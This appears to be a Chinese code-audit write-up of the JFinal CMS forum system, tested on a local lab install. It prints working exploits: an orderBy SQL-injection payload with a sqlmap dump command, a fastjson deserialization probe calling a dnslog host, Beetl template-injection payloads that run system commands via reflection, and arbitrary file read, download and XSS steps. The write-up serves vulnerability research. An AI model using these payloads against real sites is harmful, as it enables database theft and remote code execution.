论坛系统代码审计

admin 2023年8月2日09:09:59评论35 views字数 6519阅读21分43秒阅读模式

环境配置

Maven

论坛系统代码审计

mysql

mysql.jdbcUrl =jdbc:mysql://127.0.0.1:3306/jflyfox?characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull&allowPublicKeyRetrieval=true&serverTimezone=UTC&useSSL=falsemysql.user = rootmysql.password = rootmysql.driverClass = com.mysql.cj.jdbc.Driver


create database jflyfox;use jflyfox;source jfinal_cms_v4.sql;

tomcat

论坛系统代码审计

信息收集

重点关注项⽬中的框架有哪些,pom.xml,以及web.xml

⽐如spring框架,ssm框架,shiro框架等

pom 使⽤了那些依赖,是否有危险组件

web 映射关系,配置问题等

这⾥存在jsp解析库,如果有⽂件上传可getshell

论坛系统代码审计

这⾥也使⽤了log4j但是版本为1.x 不受影响

论坛系统代码审计

⽂件上传组件

论坛系统代码审计

fastjson组件

论坛系统代码审计

论坛系统代码审计

beetl模板

论坛系统代码审计

源码解读

论坛系统代码审计

论坛系统代码审计

README⽂档中,作者说使⽤了JFinal框架,这个框架⾃然没有spring那种⽐较简洁整⻬,代码中的sql语句都是使⽤传统的查询拼接⽅式,这种也是较为少⻅的,那既然拼接,⼤概率会存在sql注⼊。

因为没有spring那种sql查询的xml⽂档,所以就要进⾏关键字搜索,或者挨个查找Controller控制器。

论坛系统代码审计

细⼼发现,每⼀个⽬录都包含4个⽂件,且四个⽂件都存在关联

TbCommnetset/get⽅法

CommentContants 为常量

CommentService 为调⽤类 其中包含set/get⽅法,以及常量的使⽤。

Controller为控制器类,映射参数到web某个功能点。

讲完了代码结构,是不是感觉⾃⼰突然就懂了。

那么就开始挖掘sql注⼊,因为很久没得更新审计⽂章了,本次就多挖掘⼏个漏洞,带你们回顾⼀下最基本的拼接sql,如何进⾏审计漏洞(之前的⽂章中貌似都是mybatis框架)。

SQL注⼊1

src/main/java/com/jflyfox/modules/admin/comment/CommentController.java

@ControllerBind(controllerKey = "/admin/comment")public class CommentController extends BaseProjectController { private static final String path = "/pages/admin/comment/comment_"; public void list() { TbComment model = getModelByAttr(TbComment.class); SQLUtils sql = new SQLUtils(" from tb_comment t " // + " left join tb_article a on a.id = t.article_id where 1=1 "); if (model.getAttrValues().length != 0) { sql.setAlias("t"); // 查询条件 sql.whereLike("content", model.getStr("content")); sql.whereEquals("article_id", model.getInt("article_id")); } // 排序 String orderBy = getBaseForm().getOrderBy(); if (StrUtils.isEmpty(orderBy)) { sql.append(" order by t.id desc "); } else { sql.append(" order by ").append(orderBy); } Page<TbComment> page = TbComment.dao.paginate(getPaginator(), "select t.*,a.titlearticleName ", // sql.toString().toString());

这⾥存在list⽅法,然后存在sql查询,在下⾯使⽤了排序,字段为orderBy,进⼊循环,判断是否为空,为空就desc排序,不为空就使⽤传⼊的orderBy。跟踪getBaseForm⽅法

src/main/java/com/jflyfox/jfinal/base/BaseController.java

论坛系统代码审计

这⾥是从表单中获取数据,跟进BaseForm,直接是set/get⽅法

论坛系统代码审计

这⾥都不存在过滤,就直接带⼊查询。

Page<TbComment> page = TbComment.dao.paginate(getPaginator(), "select t.*,a.titlearticleName ", //sql.toString().toString());

web⻚⾯,找到对应的功能点,抓包

http://192.168.77.118:8080/admin/comment/list

论坛系统代码审计

POST /admin/comment/list HTTP/1.1Host: 192.168.77.118:8080Content-Length: 116Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.77.118:8080Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.188Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.77.118:8080/admin/comment/listAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: __bid_n=18866ec09d3faa66704207;FPTOKEN=1sfkbcdKDKq8tYJyKF8p/zVQPOubQ2ZW09T4Rk33AdOU1X6PHpEodJlS6J1FDi4ze/ouYaESS8/CElbolPexQVCPJLpUfXPHcfD1F5PxyoMyLPXlylxgyY8ksfwJ+HlBry8yjh8omid4cza0BTP0OojKxWvHJnICglbwl8bDxhL1AqCctc3y+Fhaxqot+8YtE0N/E4twEH/e2b0b6mfj3ubDAUR5oHjv4Ru0y0xYuGyy4S7+mXfsSGnQttZoDdAJPDyQvPME8z6zeuNwgCeUZjMiIbreWNpqzOwmtD5ATOoHVGkIov46bHTGTwnxPLz5gMJCf9RVTQNxrHspB02q3s2gAbIiuVcToexKJRAScm50q9Nk8qALwvxowlGx85zkGXbuCWhee4aCSmASLa6zxPDJXnE14LfSqR0YCumsBqxCrqE6M5jfhOfpXOdTK4aX|os4ROPgKWbRa3JrCwzTGPHk4Jlxke2f5EcxPk801K0o=|10|9e5191bdc892d0e17589844cc5900255; JSESSIONID=55335530E57F0801AB3A190FA2BD711A;Hm_lvt_1040d081eea13b44d84a4af639640d51=1690769930;session_user=wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c=;Hm_lpvt_1040d081eea13b44d84a4af639640d51=1690769940Connection: closeform.orderColumn=&form.orderAsc=&attr.article_id=3001&attr.content=111&totalRecords=3&pageNo=1&pageSize=20&length=10

payload

'0+and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))%23

论坛系统代码审计

Sqlmap 查询数据

python3 sqlmap.py -r 1.txt --dump

论坛系统代码审计

论坛系统代码审计

⼜查看了其他的注⼊点,发现都是和这个排序有关系,只要调⽤了orderBy 都存在注⼊,那我这⾥就不演示了

论坛系统代码审计

⽂件上传-⽆解析-存储xss

src/main/java/com/jflyfox/modules/filemanager/FileManagerController.java

论坛系统代码审计

论坛系统代码审计

调试跟踪 会创建⼀个临时⽬录和临时⽂件

论坛系统代码审计

然后写⼊内容,没有对后缀做限制

论坛系统代码审计

论坛系统代码审计

论坛系统代码审计

抓包,获取访问路径,直接/hello.jsp

论坛系统代码审计

随后404,这是什么情况

论坛系统代码审计

74⾏,打个断点,跟踪下

论坛系统代码审计

在拦截器⾥找到了原因,

论坛系统代码审计

论坛系统代码审计

论坛系统代码审计

此时就⽆法getshell,但我们可以尝试上传pdfsvghtml,造成存储xss的危害。

论坛系统代码审计

论坛系统代码审计

fastjson反序列化

全局搜索parseObject

论坛系统代码审计

发现多处调⽤

src/main/java/com/jflyfox/api/form/ApiForm.java

论坛系统代码审计

getParams 使⽤的是private 所以要找 public属性的⽅法调⽤getParams

右键 find useges,发现get⽅法

论坛系统代码审计

get⽅法仅在本类中调⽤,如果要执⾏get⽅法,只能获取本类的字节码⽂件,通过反射调⽤

论坛系统代码审计

好巧不巧的是,ApiForm类在ApiController#getForm中,获取了他的字节码

论坛系统代码审计

action⽅法调⽤了getForm⽅法

论坛系统代码审计

57⾏⼜调⽤了action⽅法,最终是通过反射调⽤,符合刚才的判断。

论坛系统代码审计

接⼝⽂档这⾥没有太多细节,在README⽂档中作者给了api地址,从⾥⾯查找到了⼀些参数和路径

论坛系统代码审计

论坛系统代码审计

这些参数在⼀开始的代码也存在

论坛系统代码审计

apiNo默认为空,所以随便写,版本1.0.0 时间按照yyyyMMddHHmmss,时间戳也可以,因为前⾯代码要判断登录状态,所以拼上loginpost⽅式

POST /api/action/login?version=1.0.0&apiNo=1&time=20230801100402 HTTP/1.1Host: 192.168.79.6:9090Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.188Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: JSESSIONID=9C353B3A2AD849AD9314B1DB12303213Content-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 60p={"@type":"java.net.Inet4Address","val":"vxnt9i.dnslog.cn"}

论坛系统代码审计

论坛系统代码审计

论坛系统代码审计

任意⽂件读取

接着上⾯的⽂件上传漏洞,直接打开⽂件管理代码

论坛系统代码审计

180⾏,直接读取内容,跟进getRealFilePath()

论坛系统代码审计

跟进getFilePath()

论坛系统代码审计

获取path路径,没有做限制

跟进editFile

论坛系统代码审计

依然对应的模板管理⻚⾯,抓包,因为它设置的路径是从⽹站/开始,不是系统/路径,所以读的内容有限制。

论坛系统代码审计

任意⽂件下载

和上⾯的读取逻辑是⼀样的

论坛系统代码审计

论坛系统代码审计

也没有做过滤,直接下载,给他制定固定名称和路径即可,同理删除漏洞也存在。

论坛系统代码审计

SSTI模版注⼊

在信息收集的过程中,有发现到使⽤了模板,介绍如下

Beetl是⼀种Java模板引擎,⽤于⽣成动态内容。它提供了⼀种简单⽽强⼤的⽅式来将数据和模板结合,⽣成最终的输出。Beetl具有⾼性能、易于使⽤和灵活的特点,被⼴泛应⽤于Java Web开发中。它⽀持模板继承、条件判断、循环、变量定义等常⻅的模板语法,同时还提供了丰富的内置函数和标签库,⽅便开发者进⾏模板的定制和扩展。

语法学习移步⾄官⽹。https://www.kancloud.cn/xiandafu/beetl3_guide/2138960

官⽅⽂档说 不能直接使⽤危险函数,但是没有说不能⽤反射,为什么我知道可以⽤反射,因为在之前三篇模板注⼊教程中有讲过。

论坛系统代码审计

论坛系统代码审计

⼿写反射代码

package com;import java.lang.reflect.Method;public class Demo {public static void main(String[] args) throws Exception {//获取runtime类Class<?> aClass = Class.forName("java.lang.Runtime");//获取exec⽅法Method exec = aClass.getMethod("exec", String.class);//获取getruntimeMethod getRuntime = aClass.getMethod("getRuntime", null);//调⽤函数Object o = getRuntime.invoke(null, null);//执⾏命令exec.invoke(o,"open -a calculator"); }}

论坛系统代码审计

最终payload

${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"open -a calculator")}

page/template下,粘贴以上payload

论坛系统代码审计

论坛系统代码审计

payload2

${@Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("s='open -a Calculator';java.lang.Runtime.getRuntime().exec(s);")}

论坛系统代码审计

反射xss

查看了过滤器和拦截器,不存在过滤代码。

后台狂插。

论坛系统代码审计

论坛系统代码审计





























原文始发于微信公众号(轩公子谈技术):论坛系统代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月2日09:09:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   论坛系统代码审计https://cn-sec.com/archives/1927276.html

发表评论

匿名网友 填写信息